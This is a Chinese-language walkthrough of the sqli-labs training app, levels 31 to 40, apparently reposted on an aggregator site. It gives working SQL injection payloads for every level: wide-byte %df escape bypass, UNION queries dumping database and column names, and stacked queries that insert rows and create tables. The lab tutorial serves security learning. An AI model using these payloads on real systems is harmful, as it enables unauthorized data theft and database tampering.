zoukankan      html  css  js  c++  java
  • sqli-labs通关教程----31~40关

    第三十一关

    这关一样,闭合变成(",简单测试,#号不能用

    ?id=1") and ("1")=("1")--+
    

    第三十二关

    这关会把我们的输入里的单引号前面都加一个使得单引号转义,使它没有任何意义只是一个字符,所以应该是宽字节注入。什么是宽字节?

    • 当某字符的大小为一个字节时,称其字符为窄字节.
    • 当某字符的大小为两个字节时,称其字符为宽字节.
    • 所有英文默认占一个字节,汉字占两个字节
    • 常见的宽字节编码:GB2312,GBK,GB18030,BIG5,Shift_JIS等等
      这里有两个思路,第一个我们自己再添加一个斜杠把系统添加的转义,但是这里会在我们添加的前面还会再添加两个个把我们的和'一起给转义了.........

      还有个思路就是宽字节注入,
      当使用宽字节编码,如:GBK时,两个连在一起的字符会被认为是汉字,我们可以在单引号前加一个字符,使其和斜杠()组合被认为成汉字,从未达到让斜杠消失的目的,进而使单引号发挥作用
      注意:前一个字符的Ascii要大于128,两个字符才能组合成汉字
      就比如在单引号前面输入一个%df这样进入系统就变成%df%5c%27,但是因为mysql使用的宽字节编码会把%df%5c当做一个汉字,所以就把给注释掉了
      爆库名
    ?id=-1%df' union select 1,2,database() --+
    


    看到和%df已经组合成功了
    爆列名:

    ?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
    

    这里将users进行hex编码可绕过'单引号

    之后操作一样

    第三十三关

    这关和32关一样啊,payload一模一样都能用,看了下源码连这关的标题都写的32...

    第三十四关

    这关就是就是变成POST请求,order by只能猜到2列数据
    爆列名:

    uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&
    

    第三十五关

    这关还是有转义,但变成数字型注入了,不用引号了。直接注入就行。但是指定表名和数据库名查询还是要hex编码。
    爆列名:

    ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
    

    第三十六关

    这关就是浏览器输入的值经过mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
    下列字符受影响:

    • x00
    • '
    • "
    • x1a
      就是被转义的关键字比较多,其实还是阔以用之前32关的宽字符注入来做,一样的payload
      爆列名:
    ?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+
    

    第三十七关

    这关和34关类似,一样的payload,用post方法提交
    爆列名:

    uname=admin1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #&passwd=admin1&submit=Submit&
    

    第三十八关

    这关看标题是堆叠注入,就是把很多条sql语句堆在一起使用,用分号区分不同的sql语句。虽然限制很多但利用mysqli_multi_query()函数就支持多条sql语句同时执行。
    平常sql注入受到sql语句的限制就是来查查数据,但利用堆叠注入完全可以自己构造sql语句,对数据库进行增删改查操作,可谓危害很大。
    这关也可以用寻常的sql注入套路。
    向users表插入数据

    ?id=1';insert into users(id,username,password) value (66,'acca','bbc') --+
    


    新建一个以emails表为模板的表

    ?id=1';create table test like emails;--+
    

    第三十九关

    和上一关一样,没有闭合了变成数字型注入,其他一样。
    新建一个以emails表为模板的表

    ?id=1;create table test like emails;--+
    

    第四十关

    与前几关一样,闭合变成')
    插入数据

    ?id=1') ;insert into users(id,username,password) values('17','aaa','bbb'); %23
    
  • 相关阅读:
    javascript之面向对象学习笔记03
    javascript之面向对象学习笔记02
    javascript之面向对象学习笔记01
    记第一次用Linux搭建LAMP环境
    C#随机数
    Android简单的TXT文件存储
    关于Android的ListView一点使用方法
    Android与C#的socket通讯
    Android调用WebService
    并发编程之进程、线程、同步锁 -1
  • 原文地址:https://www.cnblogs.com/Xy--1/p/12747192.html
Copyright © 2011-2022 走看看